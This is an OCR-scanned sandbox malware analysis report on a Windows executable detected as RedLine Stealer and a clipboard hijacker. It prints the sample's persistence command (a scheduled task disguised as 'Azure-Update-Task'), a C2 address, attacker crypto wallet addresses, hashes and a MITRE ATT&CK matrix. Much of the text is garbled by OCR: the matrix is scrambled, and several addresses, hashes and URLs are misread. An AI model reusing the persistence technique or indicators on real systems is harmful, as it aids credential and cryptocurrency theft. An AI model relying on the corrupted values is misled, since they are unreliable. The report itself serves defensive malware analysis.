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Windows Analysis Report eYvT1lg5Dy.exe

Overview

General Information Detection

Sample eYvT1lg5Dy.exe
Name: MALICIOUS

Analysis ID: 490258

Classification

Yara detected RedLine Stealer

Found malware configuration

@
«Q
>
2
c
=
@
]

MDs: 355fbd5060b3bba. Multi AV Scanner detection for subm...
SHAL: 88fall1376294b.. Detected unpacking (ovenwrites its o...
iHAZSG: 383f147b7eb4c81. Detected unpacking (changes PE se...
ags: i r
| fg Yara detected Clipboard Hijacker
nfos: s
f:j E Q ‘f " & Multi AV Scanner detection for dropp...
v

Tries to steal Crypte Currency Wallets

Most interesting Screenshot:

Machine Learning detection for samp...

Clipboard Hijacker
Red

Line

Queries sensitive video device inform...

B 1
J Range: 0-100 Queries sensitive disk infermation; (v...
Whitelisted: false
X Machine Learning detection for dropp...
Confidence: 100%

D P DD

[

= System is w10x64
. E eYvT1lg5Dy.exe (PID: 6504 cmdline: 'C:\Users\user\Desktop\eYvT1lg5Dy.exe' MD5: 355FBD5060B3BBAF8C5737B4279E9000)
conhost.exe (PID: 6572 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. |}r filename.exe (PID: 5416 cmdline: ‘'C:\Users\user\AppData\Local\Temp\filename.exe' MD5: D508B954A785BDB77FDEFFCD4C56F8ES)
e [m schtasks.exe (PID: 5536 cmdline: /C /create /F /sc minute /mo 1 /tn ‘Azure-Update-Task' /tr ‘C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe' MD5:
15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 5524 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. @ sihost.exe (PID: 5784 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe MD5: D508B954A785BDB77FDEFFCD4C56F8ES)
e [m schtasks.exe (PID: 6672 cmdline: /C /create /F /sc minute /mo 1 /tn ‘Azure-Update-Task' /tr ‘C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe' MD5:
15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

Threatname: Clipboard Hijacker

"Crypto Addresses": [
"OxbOcd1b2BBAd670F2077a096¢3bEd2CdBcC5Fdf 88",
"TXQvcL 1pmAyUH2navHQshfMZnCPodRVDZK",
"1Kvd92m7d68hKTQ9xuiw8dYYyyJGERFLBK",
"ltc1qthpmfg386hs6d7693jg3makep2mvadwxzhpc2n”,
"DQxZ4k7vxFDDLyRM5WgVhdJFD11Sv2vAGz",
"ON1Y/53R160U5/BU5IN355",
"addrigx7vnvylygugn7xxee2n5m9l69a7emvcak3m6fc9qvn2xq07lauv8vz70htg7hqjigtg2r90fth2fcdqkwuuezels972qzagye8”,
"00000L 000OTOOMONOOOOOOOOOOOOOOOOOOOOOOOL gv8EEtn4hey1DBBr SPrmkSf3y8pXhg, ",
"bc1gns4rqn3fhdzeuv8n3c7jansny9sywjrkdekz2v"”,
"MUeWdpkFQtczmiyvves7LS1ICYpk3NdnzV",
"71Kvd92m7d68hKTQIxuiw8dYYyyIGERFLBK",
"Ae2tdPwUPEZDGNhACJI3ZT5NdVFKNf fGAwadMcINISudKWYzt1VnFngLMnPE" ,
"bnb13dvx21hjvh8ed4x6qzOmanmfwd0Oh8hwpy37upp”,
"t1YGnYRKTaDW4kmKNXNTzEoCc434EGtVwIN",
"Lgv8E6tn4hey1DBBrSPrmkSf3y8pXhgXhw",
"44Ro9N6uFUAEAGo3DzHpkqgUPG1xz f1L fe3F4VbCNSEaL YhdIDyBXyR96F fHai8VHEUYTDA41zhWQKABQ1Zf23Yr2mEawKg",
"36dA9es5FtrvSdyPxxLEntQcKp9P6V8Kay"
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Threatname: RedLine

{
"2 url": [
"80.87.192.249:16640"
1,
"gor 1d": "2
}

Yara Overview

Memory Dumps

Source

0000000B.00000002.435951957.000000000040
0000.00000040.00020000.sdmp

00000001.00000002.435576900.00000000031A
0000.00000004.00020000.sdmp

0000000E.00000003.448804837.0000000002C7
0000.00000004.00000001.sdmp

0000000E.00000002.609959614.0000000002C6
0000.00000040.00000001.sdmp

00000001.00000002.436050083.00000000049A
C000.00000004.00000001.sdmp

Unpacked PEs

Source

11.2 filename.exe.400000.0.raw.unpack
14.3.sihost.exe.2c¢70000.0.raw.unpack
11.3.filename.exe.2c70000.0.raw.unpack
1.2.eYVvT1lg5Dy.exe.31a0ee8.3.unpack

14.2.sihost.exe.400000.0.unpack

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Click to jump to signature section

Rule Description

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

Yara detected
RedLine Stealer

JoeSecurity_RedLine

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

Yara detected
RedLine Stealer

JoeSecurity_RedLine

Click to see the 7 entries

Rule Description

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

Yara detected
RedLine Stealer

JoeSecurity_RedLine

JoeSecurity_Clipboard_Hij Yara detected
acker Clipboard Hijacker

Click to see the 13 entries

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Strings

Strings

Copyright Joe Security LLC 2021
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Compliance:

‘]

Detected unpacking (overwrites its own PE header)

=

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Boot Survival:

‘]

:

Malware Analysis System Evasion:

=

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected Clipboard Hijacker

=

Remote Access Functionality:

Yara detected RedLine Stealer

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command \}

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E

Valid Windows Management  Application  Application Disable or Modify os System Time Remote Archive Exfiltration  Ingress Tool E

Accounts  Instrumentation shimming {8 Shimming @ Tools Credential  Discovery Services Collected Over Other Transfer@  Ir

Dumping Dataf  Network N

Medium C

Default Native API Scheduled  Process Deobfuscate/Decode LSASS File and Directory Remote Data from Exfiltration Encrypted E

Accounts Task/Job @ Injection Files or Information [} Memory  Discovery Desktop Local Over Channel R

Protocol system @ Bluetooth C

Domain Command and Scripting Logon Script Scheduled Obfuscated Files or  Security System Information SMB/Windows Clipboard Automated Non-Standard E

Accounts  Interpreter (Windows) ~ Task/Job Information Account  Discovery Admin Shares Data[lJ  Exfiltration Port T

Manager L

Local Scheduled Task/Job Logon Script Logon Script  Software NTDS Security Software Distributed Input Scheduled Non- <

Accounts (Mac) (Mac) Packing Discovery Component  Capture  Transfer  Application <

Object Model Layer
Protocol

Cloud Cron Network Network Masquerading LSA Virtualization/Sandbox SSH Keylogging Data Application N

Accounts Logon Script Logon Script Secrets Evasion Transfer  Layer C

Size Limits  Protocol C

Replication  Launchd Rc.common Rc.common  Virtualization/Sandbox Cached Process VNC GUI Input  Exfiltration  Multiband J

Through Evasion Domain  Discovery [} @ Capture ~ OverC2  Communication C

Removable Credentials Channel s
Media
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Initial Privilege Credential Lateral Command

N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
External Scheduled Task Startup Startup Items  Process DCSync Application Window  Windows Web Exfiltration Commonly R
Remote Items Injection Discovery Remote Portal Over Used Port A
Services Management Capture Alternative
Protocol
Drive-by Command and Scripting Scheduled  Scheduled Indicator Removal Proc Remote System Shared Credential Exfiltration Application C
Compromise Interpreter Task/Job Task/Job from Tools Filesystem Discovery Webroot API Over Layer Protocol Ir
Hooking Symmetric F
Encrypted
Non-C2
Protocol

Behavior Graph

Behavior Graph

: a02s8 B
rocess

Sample: WT1igSDy.exe

Standate: 2510912021

Architecture:  WINDOWS.

Score: 100

- - - S e o

59 ewTiigsdy.exe

SUSPICIONS

cLean

ORRNOTIN

Signature
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O
|:| Created File
Il onsieinfo
™1 |s Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

S

dropped dropped

Visual Basic
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2z
oz

)
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i
i
=

stared sarted Java

.\l Py JewTll Ascif’y

.Net C# or VB.NET

C, C++ or other language

H
§_
]
B 2~

vitual machines)
Is malicious
[ flenameexe I [ conhostexe g Internet
@ T (IR i
9 & Qe G [
dropped
CiUserslusenAppData\Roaming\..\sihost exe, PES2TY.
started stared
schasksexe AN 5 comostee AN
[ I
ic] B ]
[F]  conhostexe g
G

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
eYVvT1lg5Dy.exe 49% Virustotal Browse
eYVvT1lg5Dy.exe 34% Metadefender Browse
eYvT1lg5Dy.exe 81% ReversingLabs Win32.Ransomware.Wann

aCry
eYvT1lg5Dy.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\filename.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\filename.exe 49% ReversingLabs Win32.Trojan.Racealer
C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe 49% ReversingLabs Win32.Trojan.Racealer

Unpacked PE Files

Source Detection Scanner Label Link Download
11.2 filename.exe.400000.0.unpack 100% Avira TR/ATRAPS.Gen Download File
14.2.sihost.exe.400000.0.unpack 100% Avira TR/ATRAPS.Gen Download File
Domains

Copyright Joe Security LLC 2021 Page 8 of 29


https://www.virustotal.com/gui/file/383f147b7eb4c815bc9def993cff994da41c7395092ceedd3c22d10e130b8c15/detection/f-383f147b7eb4c815bc9def993cff994da41c7395092ceedd3c22d10e130b8c15-1632501838
https://www.metadefender.com/#!/results/file/bzIxMDkyM1o2aklSRktUN1Bud3F5WXRLR3ZG/regular/analysis

No Antivirus matches

URLs

Source

http://https://api.ip.sb/geoip%USERPENviron
http://tempuri.org/Endpoint/PartinstalledSoftwares
http://tempuri.org/Endpoint/PartNordVPN

http://tempuri.org/

http://tempuri.org/Endpoint/PartDiscord
http://tempuri.org/Endpoint/SetEnvironment
http://tempuri.org/Endpoint/SetEnvironmentResponse
http://tempuri.org/Endpoint/VerifyUpdate
http://tempuri.org/Endpoint/PartinstalledBrowsersResponse
http://tempuri.org/Endpoint/PartColdWalletsResponse
http://tempuri.org/Endpoint/PartTelegramFilesResponsel
http://https://cdn.ecosia/
http://https://api.ip.sb/geoip%USERPENvironmentROFILE%
http://tempuri.org/Endpoint/PartinstalledSoftwaresResponse
http://tempuri.org/Endpoint/PartProtonVPNResponse
http://tempuri.org/Endpoint/PartDiscordResponse
http://tempuri.org/Endpoint/PartFtpConnectionsResponse
http://tempuri.org/Endpoint/PartOpenVPN
http://tempuri.org/Endpoint/EnvironmentSettingsResponse
http://tempuri.org/Endpoint/PartOpenVPNResponse
http://tempuri.org/Endpoint/PartProtonVPN
http://tempuri.org/Endpoint/PartHardwaresResponse
http://tempuri.org/Endpoint/PartTelegramFilesResponse

Domains and IPs

Contacted Domains

Name P
S$3-r-w.us-east-2.amazonaws.com 52.219.104.152
api.ip.sh unknown

cli-4576347563476534786.s3.us-east- unknown
2.amazonaws.com

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country

52.219.104.152 $3-r-w.us-east- United States

2.amazonaws.com

Active
true
unknown

unknown

Flag

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Malicious
false
false

false

Scanner

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Antivirus Detection

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

ASN Name
AMAZON-02US

Link

Reputation
high
unknown

high

Malicious

false

General Information

Joe Sandbox Version:

33.0.0 White Diamond

Analysis ID: 490258
Start date: 25.09.2021
Start time: 10:15:42
Joe Sandbox Product: CloudBasic

Copyright Joe Security LLC 2021
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Overall analysis duration: 0Oh 9m 39s

Hypervisor based Inspection enabled: false
Report type: light
Sample file name: eYvT1lg5Dy.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 26
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad. WinEXE@11/25@4/2
EGA Information: Failed
HDC Information: e Successful, ratio: 2.5% (good quality ratio 2.5%)

e Quality average: 91.2%
e Quality standard deviation: 8.9%

HCA Information: e Successful, ratio: 53%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
* Found application associated with file extension: .exe

Warnings: Show All

Simulations

Behavior and APIs

Time Type Description
10:17:09 API Interceptor 82x Sleep call for process: eYvT1lg5Dy.exe modified
10:17:24 Task Scheduler Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

80.87.192.249 Get hash malicious Browse

Domains

Match Associated Sample Name / URL SHA 256 Detection Link Context
$3-r-w.us-east-2.amazonaws.com Get hash malicious Browse e 52.219.88.16

Get hash malicious Browse e 52.219.96.224
Get hash malicious Browse e 52.219.98.162
Get hash malicious Browse e 52.219.103.10
Get hash malicious Browse e 52.219.105.202
Get hash malicious Browse e 52.219.105.10
Get hash malicious Browse e 52.219.101.218
Get hash malicious Browse e 52.219.98.194
Get hash malicious Browse e 52.219.100.224
Get hash malicious Browse e 52.219.84.8

Copyright Joe Security LLC 2021 Page 10 of 29


https://view.joesandbox.com/analysis/382168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382168/html/none?idtype=webid
https://view.joesandbox.com/analysis/381358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381358/html/none?idtype=webid
https://view.joesandbox.com/analysis/374823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374823/html/none?idtype=webid
https://view.joesandbox.com/analysis/373564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373564/html/none?idtype=webid
https://view.joesandbox.com/analysis/370389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370389/html/none?idtype=webid
https://view.joesandbox.com/analysis/368488/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/368488/html/none?idtype=webid
https://view.joesandbox.com/analysis/368115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/368115/html/none?idtype=webid
https://view.joesandbox.com/analysis/366781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366781/html/none?idtype=webid
https://view.joesandbox.com/analysis/366745/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366745/html/none?idtype=webid
https://view.joesandbox.com/analysis/363249/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/363249/html/none?idtype=webid
https://view.joesandbox.com/analysis/362523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/362523/html/none?idtype=webid

Match

ASN

Match
THEFIRST-ASRU

AMAZON-02US

JA3 Fingerprints

Match
3b5074b1b5d032e5620f69f9f700ff0e

Copyright Joe Security LLC 2021
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Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Context

52.219.104.104
52.219.104.208
52.219.102.242
52.219.100.0
52.219.101.114
52.219.105.74
52.219.98.146
52.219.97.138
52.219.100.128
52.219.105.122

Context

82.146.37.113
78.24.220.245
80.87.197.54
80.87.192.137
80.87.192.249
62.109.1.30
94.250.250.1
62.109.1.30
79.174.13.108
79.174.13.108
79.174.13.108
94.250.249.239

83.220.173.134
94.250.251.116
83.220.173.134
82.146.34.178
78.24.219.147
62.109.1.30
92.63.102.119
82.146.56.196
18.136.42.110
18.222.178.34
18.142.6.235
63.32.229.73
54.119.141.92
18.245.41.200

130.177.18
7.213

34.249.145.219
184.77.138.13
104.192.141.1
54.102.91.63
65.1.203.109
75.2.18.233
104.192.141.1
54.185.219.84
34.249.145.219
65.9.71.37
52.198.167.186
54.183.123.73
13.225.29.25

Context

52.219.104.152
52.219.104.152
52.219.104.152
52.219.104.152
52.219.104.152
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https://view.joesandbox.com/analysis/359791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359791/html/none?idtype=webid
https://view.joesandbox.com/analysis/338578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338578/html/none?idtype=webid
https://view.joesandbox.com/analysis/332216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/332216/html/none?idtype=webid
https://view.joesandbox.com/analysis/330908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/330908/html/none?idtype=webid
https://view.joesandbox.com/analysis/299325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299325/html/none?idtype=webid
https://view.joesandbox.com/analysis/298306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/298306/html/none?idtype=webid
https://view.joesandbox.com/analysis/293611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293611/html/none?idtype=webid
https://view.joesandbox.com/analysis/291726/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291726/html/none?idtype=webid
https://view.joesandbox.com/analysis/281403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281403/html/none?idtype=webid
https://view.joesandbox.com/analysis/281371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/281371/html/none?idtype=webid
https://view.joesandbox.com/analysis/384059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384059/html/none?idtype=webid
https://view.joesandbox.com/analysis/383785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383785/html/none?idtype=webid
https://view.joesandbox.com/analysis/382692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382692/html/none?idtype=webid
https://view.joesandbox.com/analysis/382329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382329/html/none?idtype=webid
https://view.joesandbox.com/analysis/382168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382168/html/none?idtype=webid
https://view.joesandbox.com/analysis/382070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382070/html/none?idtype=webid
https://view.joesandbox.com/analysis/381667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381667/html/none?idtype=webid
https://view.joesandbox.com/analysis/381319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381319/html/none?idtype=webid
https://view.joesandbox.com/analysis/381302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381302/html/none?idtype=webid
https://view.joesandbox.com/analysis/381031/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381031/html/none?idtype=webid
https://view.joesandbox.com/analysis/380881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380881/html/none?idtype=webid
https://view.joesandbox.com/analysis/379981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379981/html/none?idtype=webid
https://view.joesandbox.com/analysis/379479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379479/html/none?idtype=webid
https://view.joesandbox.com/analysis/379296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379296/html/none?idtype=webid
https://view.joesandbox.com/analysis/378856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378856/html/none?idtype=webid
https://view.joesandbox.com/analysis/378499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378499/html/none?idtype=webid
https://view.joesandbox.com/analysis/378232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378232/html/none?idtype=webid
https://view.joesandbox.com/analysis/378190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378190/html/none?idtype=webid
https://view.joesandbox.com/analysis/378007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378007/html/none?idtype=webid
https://view.joesandbox.com/analysis/377952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377952/html/none?idtype=webid
https://view.joesandbox.com/analysis/384743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384743/html/none?idtype=webid
https://view.joesandbox.com/analysis/384738/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384738/html/none?idtype=webid
https://view.joesandbox.com/analysis/384737/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384737/html/none?idtype=webid
https://view.joesandbox.com/analysis/384729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384729/html/none?idtype=webid
https://view.joesandbox.com/analysis/384728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384728/html/none?idtype=webid
https://view.joesandbox.com/analysis/384705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384705/html/none?idtype=webid
https://view.joesandbox.com/analysis/384703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384703/html/none?idtype=webid
https://view.joesandbox.com/analysis/384688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384688/html/none?idtype=webid
https://view.joesandbox.com/analysis/384681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384681/html/none?idtype=webid
https://view.joesandbox.com/analysis/384652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384652/html/none?idtype=webid
https://view.joesandbox.com/analysis/384640/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384640/html/none?idtype=webid
https://view.joesandbox.com/analysis/384636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384636/html/none?idtype=webid
https://view.joesandbox.com/analysis/384614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384614/html/none?idtype=webid
https://view.joesandbox.com/analysis/384575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384575/html/none?idtype=webid
https://view.joesandbox.com/analysis/384558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384558/html/none?idtype=webid
https://view.joesandbox.com/analysis/384549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384549/html/none?idtype=webid
https://view.joesandbox.com/analysis/384471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384471/html/none?idtype=webid
https://view.joesandbox.com/analysis/384467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384467/html/none?idtype=webid
https://view.joesandbox.com/analysis/384455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384455/html/none?idtype=webid
https://view.joesandbox.com/analysis/384453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384453/html/none?idtype=webid
https://view.joesandbox.com/analysis/384607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384607/html/none?idtype=webid
https://view.joesandbox.com/analysis/384596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384596/html/none?idtype=webid
https://view.joesandbox.com/analysis/384436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384436/html/none?idtype=webid
https://view.joesandbox.com/analysis/384432/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384432/html/none?idtype=webid
https://view.joesandbox.com/analysis/384314/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384314/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 52.219.104.152
Get hash malicious Browse e 52.219.104.152
Get hash malicious Browse e 52.219.104.152
52.219.104.152

Get hash malicious Browse

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Get hash malicious Browse 52.219.104.152

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\eYvT1lg5Dy.exe

ASCII text, with CRLF line terminators

dropped

2291

5.3192079301865585

false
48:MIHKmfHKSHKXAHKhBHKdHKB1AHKzvQTHmMYHKhQnoPtHoxHIMHKYHZHXLHG1gHgHs:Pgag5gXAqLgdqUgzcGYghQnoPtixHbqU
ACB87262EF3296D7ECF33D548332613CF

4D9A75A7F7C75B4FF192D0D5B38E6DD735C85490
C3A3112ED6BFC3837321F60C34BE7911E451185CA285F5B92376F417993B2014
F38EE62232D98398B0704F5AB38718E9C97772F66FF188CC2072DD931FAEBFF3972D4E39511A01C8B42B7F43FE18917DCDEE28D4EESFAADGEGE256211101C90
true

moderate, very likely benign file

1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Ser
viceModel, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4fO0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll*,0..2,"SMDiagnostics, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.|dentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,
"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\Syst
em.Runteb92aal2#\34957343ad5d84daee97alaffda91665\System.Runtime.Serialization.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyTo
ken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

C:\Users\user\Desktop\eYvT1lg5Dy.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

293376

5.931158889112942

false

3072:8V6xXhECKXT2njS+HZIWBFhHxPfuday/MvZ6KaUnnXf3cUgH8ubSboljFQkm5yUH:q+Xrc2njSelWbHPpOrnXfsUnubSRjF+
D508B954A785BDB77FDEFFCD4C56F8ES

272273F6055837BOBACD96885B7840D117EF2676

2FE1087DD787D625FO0AA84EADA3CCA4FO0AOE73B340B4AFEC366035F2916E9FC66
B11608356FE082CA661A97B49FF33BOE664A603492AC070621B72628AC71032CCB4F4F57C2380E912BD3819A29FCFCCA562D34B6D266809ACF8B94D28DDA475!
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 49%
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https://view.joesandbox.com/analysis/384078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384078/html/none?idtype=webid
https://view.joesandbox.com/analysis/383979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383979/html/none?idtype=webid
https://view.joesandbox.com/analysis/383938/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383938/html/none?idtype=webid
https://view.joesandbox.com/analysis/383883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383883/html/none?idtype=webid
https://view.joesandbox.com/analysis/383842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383842/html/none?idtype=webid
https://view.joesandbox.com/analysis/383833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383833/html/none?idtype=webid
https://view.joesandbox.com/analysis/383831/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383831/html/none?idtype=webid
https://view.joesandbox.com/analysis/383818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383818/html/none?idtype=webid
https://view.joesandbox.com/analysis/383808/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383808/html/none?idtype=webid
